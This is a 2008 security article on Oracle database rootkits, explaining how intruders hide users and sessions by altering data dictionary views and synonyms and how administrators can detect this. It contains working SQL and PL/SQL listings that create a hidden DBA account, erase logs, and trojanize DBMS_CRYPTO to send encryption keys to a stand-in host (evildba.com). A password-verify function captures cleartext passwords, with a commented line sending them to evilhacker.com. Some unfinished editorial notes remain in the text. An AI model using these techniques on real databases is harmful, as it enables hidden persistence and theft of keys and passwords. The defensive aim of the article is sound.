Registro | Ayuda


Oracle rootkits

Fecha de publicación: 2008.04.08
Grado de Dificultad: 2

It is not common knowledge that rootkits can also be implemented, and are being implemented by intruders in databases, often containing critical company data. Alexander describes rootkits in Oracle databases and presents how we can avoid them.

Operating system rootkits are nothing new. They've been used by intruders for years to cover up their tracks. However, it is not common knowledge that rootkits can also be implemented, and are being implemented by intruders in databases, often containing critical company data. Let's have a look at rootkits in Oracle databases and let's see how we can avoid them.

 

Oracle is a market leader in the area of relational databases and Oracle databases are used in almost every larger enterprise. Enterprise-critical or important data is often saved in Oracle databases. It is no wonder Oracle is becoming a more frequent target for attacks.

Oracle database rootkits are a relatively new security trend. They are installed after a successful break-in into an Oracle database, and serve to cover up any traces of the break-in and provide a continuous cloak, masking the presence of an attacker in the database. Let's then have a look at concepts of Oracle rootkits and their different implementation possibilities as well as countermeasures.

Oracle rootkits - introduction

Oracle databases and operating systems are quite similar in their architecture. Both databases and operating systems have users, processes, jobs, executables and symbolic links. Table 1 shows an ecample of mapping between *NIX operating system commands and Oracle commands. An attacker can take advantage of this similarity to migrate the concept of rootkits, but also other malware like viruses, from the operating system world to the Oracle database world.

 

Table 1. Example mapping between Oracle and operating system commands and objects

 

*NIX command/object

Oracle command/object

ps

SELECT * FROM V$PROCESS

kill

ALTER SYSTEM KILL SESSION '12,55'

Executables

Views, Packages, Functions and procedures

Execute

SELECT * FROM MY_VIEW

EXEC PROCEDURE

cd

ALTER SESSION SET CURRENT_SCHEMA=USER01

rm

delete bla.... (put in correct sytax)

fdisk

drop table spaces

 

It is/was a common trick of operating system rootkits (first generation) to create hidden users which are not visible for the administrator. To do this, *NIX commands like ps, who and top were replaced by trojanized versions, which show everything except the user account created by the intruder. This approach can also be applied to Oracle. It is just necessary to know, how Oracle represents, stores and uses database users.

Oracle users are stored in the database table SYS.USER$ together with database roles. Users have the flag TYPE#=1 and roles have the flag TYPE#=0. To make access easier, and for up- and backward-compatibility, Oracle provides two views called dba_users and all_users via a public synonym (table structure changes from version to version). Most DBAs and tools are using these views to access the table SYS.USER$. If these views are now modified in a way that a special user, e.g. HACKER, is no longer shown, we created a hidden user (in most cases).

Listing 1. Create database user

 

 1: -- Create user and 
2: -- grant DBA permission
3: SQL> CREATE USER HACKER
4: SQL> IDENTIFIED BY HACKER;
5: SQL> GRANT DBA TO HACKER;
6: -- Show users
7: SQL> SELECT USERNAME
8: SQL> FROM DBA_USERS;
9: USERNAME
10: -----------------
11: SYS
12: SYSTEM
13: DBSNMP
14: SYSMAN
15: MGMT_VIEW
16: HACKER

First, let's have a look at Listing 1. Let's start by creating the user and checking, whether the user is visible. Now, let's modify the view DBA_USERS and and an additional line to the view:

AND U.NAME != 'HACKER'

We can perform this change using a GUI tool (e.g. Quest TOAD, see Figure 1) or using an SQL statement (CREATE VIEW DBA_USERS AS ...). We must keep in mind, that changes on views belonging to SYS require the role SYSDBA.

 

 

 

 

Figure 1. Modification of the view DBA_USERS using a DBA tool (Quest TOAD)

A restarted query against the view DBA_USERS now shows all users except the newly created user HACKER. Some tools or DBAs are using the view ALL_USERS instead of DBA_USERS to display all users. That's why it is necessary to change this view too. After modification of both views, the new user disappears from all programs which use views as access layer. A skilled attacker would choose more unobvious user names (e.g. MTSYS) and a more unobvious WHERE condition (e.g. AND U.USER# <> 17, where 17 is the number of the newly created user).

 

 

Figure 2. Showing all users in Oracle Enterprise Manager

 

 

 

Figure 3. Showing all users in Oracle Enterprise Manager after modification of the view DBA_USERS, without the user HACKER

 

All programs tested by the author so far are affected, e.g. Oracle Enterprise Manager (see Figures 2 and 3), Oracle Grid Control (see Figures 4 and 5), Quest SQL Navigator, Quest TOAD, Embacadero DBArtisan etc. Developers of database administration tools should never rely on views, which can be changed. Instead they should always access base tables such as SYS.USER$.

 

 

 

Figure 4. Showing all users in Oracle Grid Control

 

 

 

Figure 5. Showing all users in Oracle Grid Control after modification of the view DBA_USERS, without the user HACKER

 

Oracle rootkit basics

As described in the introduction, it is possible to create a rootkit by modifying views. The following section shows an overview of different possible ways to implement rootkits.

 

 

Oracle Rootkit Evolution

We can expect different evolutionary steps in Oracle rootkits, such as in the case of operating system rootkits. At the moment, only first generation Oracle rootkits exist, but it is inevitable that Oracle rootkits will evolve in the fashion described below:

Oracle Rootkits First Generation

First generation rootkits are implemented via modification or creation of data dictionary objects or via modification of the execution path. This is the easiest and fastest way to create a rootkit. Special knowledge is not required. To detect these kind of rootkits it is sufficient to compare checksums of database objects with an external baseline.

Oracle Rootkits Second Generation

The second generation of rootkits works without the modification of the execution path or changes in data dictionary objects. Possible implementations are using the Oracle features like PL/SQL-Native Compilation or Virtual Private Database (VPD).

It is more difficult to detect these kinds of rootkits, because additional requirement like using the SYS account, special privileges (EXEMPT ACCESS POLICY) or checksums of external files are required.

Oracle Rootkits Third Generation

This generation works similar to the operating system kernel rootkits and are difficult to detect. Objects are modified directly in the SGA(<- what does SGA stand for?). Since Oracle 10g Release 2, Oracle provides an API to access the SGA directly. Unsupported direct access to the SGA is possible even in older database versions. As Oracle rootkits evolve a more intimate knowledge of Oracle's inner workings will be required to write and detect rootkits.

 

 

Modification of the called object

We can see that from our previous example it is quite easy to modify database views. We could use this to remove selected content from the view. An example seen on Listing 2 uses the package dbms_metadata (since Oracle 9i). The package creates DDL code from a database object and replaces the string WHERE with WHERE u.name != 'HACKER' using the replace command.

Listing 2. Simple SQL script which creates and hides a user HACKER

 

 1: set linesize 2000
2: set long 90000
3: EXECUTE DBMS_METADATA.SET_TRANSFORM_PARAM
4: (DBMS_METADATA.SESSION_TRANSFORM,'STORAGE',false);
5: spool rk_source.sql
6: select replace(cast(dbms_metadata.get_ddl('VIEW','ALL_USERS')
7: as VARCHAR2(4000)),'where','where u.name !=''HACKER'' and ')
8: from dual union select '/' from dual;
9: select replace(cast(dbms_metadata.get_ddl('VIEW','DBA_USERS')
10: as VARCHAR2(4000)),'where','where u.name !=''HACKER'' and ')
11: from dual union select '/' from dual;
12: spool off
13: create user hacker identified by hackerpw;
14: grant dba to hacker;
15: @rk_source.sql

Changing the execution path

It is also possible to implement a rootkit by modifying the execution path. In case of operating system rootkits, the path to *NIX commands like ps, who, top is changed. In this case, the trojanized version will be executed instead of the original version. This approach has the advantage for an attacker, that the original program and its checksum are not tampered with.

There are no paths in the Oracle database world. That's why it is necessary to adopt the concept and adjust the implementation. It is helpful to see how Oracle processes a SQL statement like:

SELECT * FROM DBA_USERS

 

Figure 6. Oracle Access Path

 

In this query, Oracle checks first if there is a local object (table or view) called DBA_USERS. If so, this object will be used for the query. If not, Oracle is looking for a private synonym with this name. If there is a private synonym, Oracle will use it. If not, Oracle checks if there is a public synonym.

Based on the structure of the Oracle execution path, there are different possible ways to implement a rootkit:

  • Create a new local object with identical name in the user schema (see Listing 3).

  • Create a new object which refers to the original object (view or base table) or a new object which contains a copy of the data of the original object. The table DBA_USERS could be kept up to date with a trigger on SYS.USER$ (see Listing 4).

  • Create a private synonym and a new local object (see Listing 5).

  • Modify a public synonym and create a new local object (see Listing 6).

Listing 3. Create a new view in the schema of the user (e.g. SYSTEM) (SYSDBA role required)

 

1: CREATE VIEW DBA_USERS AS
2: SELECT *
3: FROM SYS.DBA_USERS
4: WHERE USERNAME != 'HACKER';

Listing 4. Create a new table DBA_USERS in the schema of the user (e.g. SYSTEM)

1: CREATE TABLE DBA_USERS AS 
2: SELECT *
3: FROM SYS.DBA_USERS
4: WHERE USERNAME != 'HACKER';

Listing 5. Create a new table DBA_MYUSERS in the schema of the user (e.g. SYSTEM)

1: CREATE TABLE DBA_MYUSERS AS 
2: SELECT *
3: FROM SYS.DBA_USERS
4: WHERE USERNAME != 'HACKER';
5: CREATE SYNONYM DBA_USERS FOR HACKER.DBA_MYUSERS;

Listing 6. Create a new table DBA_MYUSERS in the schema of the user (e.g. SYSTEM)

1: CREATE TABLE DBA_MYUSERS AS 
2: SELECT *
3: FROM SYS.DBA_USERS
4: WHERE USERNAME != 'HACKER';
5: CREATE OR REPLACE SYNONYM DBA_USERS FOR HACKER.DBA_MYUSERS;

The disadvantage of the first three methods is that just the schema owner is affected by these modifications. An attacker must create different objects for different administrator accounts. Most intruders prefer the fourth method, because the original view is not modified and it works for all accounts except SYS.

Potential targets for modifications

There are more than 2000 system views belonging to the owner SYS (Oracle 10.1.0.4: 2643 views). But not every view is a suitable target for an attacker. Some are more promising than other. The system views presented in Table 2 are especially attractive for attackers, and should be checked by the DBA on a regular basis.

Table 2. Potential targets for modifications

 

System View

Description

DBA_USERS

Show all database users

ALL_USERS

Show all database user

DBA_JOBS

Show all database jobs

V$SESSION

Show all running processes

V_$PROCESS

Show all running processes

DBA_DIRECTORIES

Show all Oracle directories

ALL_DIRECTORIES

Show all Oracle directories

DBA_AUDIT_TRAIL

Show all audit informationen

DBA_EXTERNAL_TABLES

Show all external tables

ALL_EXTERNAL_TABLES

Show all external tables

 

Pseudo-code/concept of an Oracle rootkit

The following section describes typical components of a first generation Oracle rootkit. New, hidden users are often created first within this generation of rootkits. After that, traces of a system compromise are removed from the various log files and archive logs. Typically rootkits also sniff passwords in the system. We shall briefly describe each of the following components:

  • create and hide invisible users,

  • hide active processes,

  • clean Oracle listener log,

  • clean Oracle SGA,

  • clean Oracle RedoLog,

  • intercept Oracle Package calls,

  • install an Oracle password sniffer.

Creating and hiding users

As we have seen there are many ways in which to hide users. Refer to our examples discussed earlier. (COMMENT: maybe cite the specific examples eg example 1.1, 1.2 ....)

Hiding active processes

It is possible to hide active processes by modifying the views V$SESSION, GV_$SESSION, FLOW_SESSIONS, V_$PROCESS. The same techniques, i.e. view modification and changing the execution path are possible.

Cleaning the Oracle listener log

During the process of logging into the database, everything is logged in the listener.log of the TNS-Listeners (if logging is enabled). Removing these traces is a typical approach of intruders. Oracle offers different possibilities to do this. The easiest way to do this is using the package utl_file. This package allows to read (UTL_FILE.GET_LINE), write (UTL_FILE.PUT_LINE) or delete (UTL_FILE.FREMOVE) files. The log file is not locked by the TNS listener, that's why it is possible to change the content at runtime.

Cleaning the Oracle SGA

Traces of an attack are also left in the memory of the database (SGA, System Global Area). Every issued SQL statement of every user can be queried by select the view V_$SQLAREA. To remove these traces from the SGA it is sufficient to erase the shared pool with the following command:

ALTER SYSTEM FLUSH SHARED_POOL;

Keep in mind that erasing the share pool has a negative impact on the database performance, and users may complain about the performance.

Cleaning the Oracle Redo-Log

Every transaction which changes the database will be stored in the Redo-Log file and also in the archive log, if the database is running in archive log mode. An attacker normally covers up these tracks too. To do this the following command is issued to force the database to switch a Redo-Log.

ALTER SYSTEM SWITCH LOGFILE;

After installation of the rootkit, the Redo-Log is switched, until all Redo-Log files in all Redo-Log groups are replaced. If the database is running in the archive log mode, it is necessary to delete the last archive file with the package utl_file.fremove.

Intercepting Oracle package calls

Within the Oracle database, it is possible to intercept all package calls (Package Interception), change or log parameters and call the original package. This could be used to forge checksums (e.g. MD5) or to intercept encryption keys or passwords. DBA privileges are often not required, because the changes are done in the schema of the application.

Figure 7 shows how the function encrypt is called from an application. The function encrypt passes the unencrypted value and the encryption key. According to the normal name resolution, the public synonym is found, which refers to the package SYS.DBMS_CRYPTO. This package again refers to the package DBMS_CRYPTO_FFI, which calls the trusted library CRYPTO_TOOLKIT_LIBRARY (see Figure 8). The encryption key is always passed in clear text.

 

 

Figure 7. dbms_crypto call from an application

 

 

Figure 8. dbms_crypto call from an application, all keys are intercepted

 

The source code to intercept a key is very simple. Copy the package specification of the original package ($ORACLE_HOME/rdbms/admin) and add the value of a web server, to which all intercepted data is sent. The package body replicates all functions and procedure with one difference. All parameters will be passed to a web server. To do this, the function utl_http.request will be called. After that, the original package will be called via the full qualified name. See Listings 7 and 8 for an example of how it's done.

Listing 7. Interception of package specification dbms_crypto, which sends all encryption keys to an external web server

 1: CREATE OR REPLACE PACKAGE DBMS_CRYPTO AS
2: -- Web Server for key logging
3: KEYWEBSERVER CONSTANT VARCHAR2(40) :='http://www.evildba.com/';
4: KEYRC VARCHAR2(32767);
5: -- Hash Functions
6: HASH_MD4 CONSTANT PLS_INTEGER := 1;
7: HASH_MD5 CONSTANT PLS_INTEGER := 2;
8: HASH_SH1 CONSTANT PLS_INTEGER := 3;
9: -- MAC Functions
10: HMAC_MD5 CONSTANT PLS_INTEGER := 1;
11: HMAC_SH1 CONSTANT PLS_INTEGER := 2;
12: (...)

Listing 8. Interception of package body dbms_crypto, which sends all encryption keys to an external web server

 1: CREATE OR REPLACE PACKAGE BODY DBMS_CRYPTO AS
2: FUNCTION Encrypt (src IN RAW,
3: typ IN PLS_INTEGER,
4: key IN RAW,
5: iv IN RAW DEFAULT NULL)
6: RETURN RAW AS
7: BEGIN
8: keyrc:=utl_http.request
9: (KEYWEBSERVER||'user='||user||'/'||'/key='
10: ||UTL_RAW.cast_to_varchar2(key)||'/iv='
11: ||UTL_RAW.cast_to_varchar2(iv)||'/typ='||typ);
12: RETURN SYS.dbms_crypto.encrypt(src,typ,key,iv);
13: END;
14: (...)

It is possible to intercept all passed parameters with the package interception function. Table 3 shows potential packages, which allow intercepting sensitive information like passwords and encryption keys. This list contains just a subset of possible targets.

 

Table 3. Potential targets for package interception, depends on version and installed components

 

Package Name

Description

dbms_crypto

Intercept encryption keys

dbms_obfuscation_toolkit

Intercept encryption keys

utl_http

Intercept HTTP proxy passwords

dbms_aqadm

Intercept LDAP passwords

dbms_ldap_utl

Intercept LDAP credentials

utl_dbws

Intercept Webservices accounts / passwords

dbms_epg

Intercept mod_plsql passwords

htmldb_util

Intercept HTMLDB passwords

wwv_flow_security

Intercept HTMLDB passwords

mgmt_rec

Intercept SYSDBA and Host passwords

mgmt_login_assistant

Intercept Metalink accounts and passwords

 

Oracle password sniffer

The Oracle database has a rarely used feature called Password Verify Function, to check the complexity of a password (e.g. At least 8 character, 1 special character). This functionality will be implemented with a PL/SQL function. For this reason, all passwords are passed in clear text to this function. An attacker could use this to store all new passwords in a file or in a table or send the passwords together with their accounts to a foreign web server if the database is able to access the Internet. A sample function shown in Listing 9 logs all changes of database passwords in a table.

Listing 9. Password Verify Function, which stores all clear text passwords of every user in a table HACKER.SNIFFED

 1: -- Create (or modify an existing) a password verify function
2: CREATE OR REPLACE FUNCTION verify_function
3: (username varchar2, password varchar2, old_password varchar2)
4: RETURN boolean IS
5: BEGIN
6: -- Store all passwords in a new table
7: -- or send the passwords via utl_http.request to a foreign server
8: -- utl_http.request
9: -- ('http://www.evilhacker.com/user='||username||'#password='||password)
10: insert into hacker.SNIFFED_passwords
11: values(username, password, old_password);
12: RETURN(TRUE);
13: END;
14: -- Apply the password verify function to the default profile
15: -- All password changes of all accounts using the default profiles
16: -- are now stored in the table sniffed_passwords
17: ALTER PROFILE DEFAULT LIMIT PASSWORD_VERIFY_FUNCTION verify_function;

Discovering Oracle rootkits

After a database break-in, the DBA should check the entire database as soon as possible, scrutinise every database object for modifications and check for recently created objects. A simple check for hidden users could be made using the statements seen on Listing 10.

Listing 10. Show differences between SYS.USER$ and their appropriate views

1: SELECT NAME "Invisible user in DBA_USERS"
2: FROM SYS.USER$
3: WHERE TYPE#=1
4: MINUS SELECT USERNAME FROM SYS.DBA_USERS;
5: SELECT NAME "Invisible user in ALL_USERS"
6: FROM SYS.USER$
7: WHERE TYPE#=1
8: MINUS SELECT USERNAME FROM SYS.ALL_USERS;

A developer could make their applications less susceptible to rootkits, by using the following development guidelines:

  • Usage of full qualified function calls (e.g. SYS.dbms_crypto instead of dbms_crypto).

  • Use unobvious names for functions, procedures and tables for critical objects (e.g. func107 instead of encrypt).

  • Use dynamic SQL for critical functions to avoid dependencies.

  • Use base tables instead of views for critical objects (e.g. SYS.USER$ instead of DBA_USERS).

Conclusion

Oracle rootkits have the potential to pose a great threat to Oracle databases, particularly to the unsuspecting DBA. To minimise the risk every DBA should protect his Oracle databases with great care, i.e. apply security patches, change default passwords and protect the TNS-Listener (until 9i) with a password. Furthermore, he should regularly check the data dictionary and the user schemas for modifications.

On the Net

  • http://www.rootkit.com - information about operating system rootkits,

  • http://www.red-database-security.com/wp/oracle_circumvent_encryption_us.pdf - circumvent Oracle's Database Encryption,

  • http://www.red-database-security.com/repscan.html - repscan discovers modifications in Oracle data dictionary (e.g. rootkits),

  • http://www.oracle.com/technology/deploy/security/db_security/htdocs/vpd.html - description of Virtual Private Database,

  • http://www.oracle.com/technology/tech/pl_sql/htdocs/ncomp_faq.html - description of PL/SQL Native Compilation.

 

Glossary

  • PL/SQL Native Compilation - A PL/SQL program is normally stored as byte code in the database and will be executed at runtime by a virtual machine for PL/SQL. Since Oracle 9i, it is possible to compile PL/SQL program into native code which will be executed at runtime. This makes programs which need a lot of computing faster.

  • VPD (Virtual Private Database) - This feature is also known as Fine Grained Access Control (FGAC) and allows the definition which user has access to which row. It is for example possible to add an additional line like AND DEPARTMENT='SALES' to every SQL statement.


GNU General Public License
Autor: Alexander Kornbrust Nota:
Volver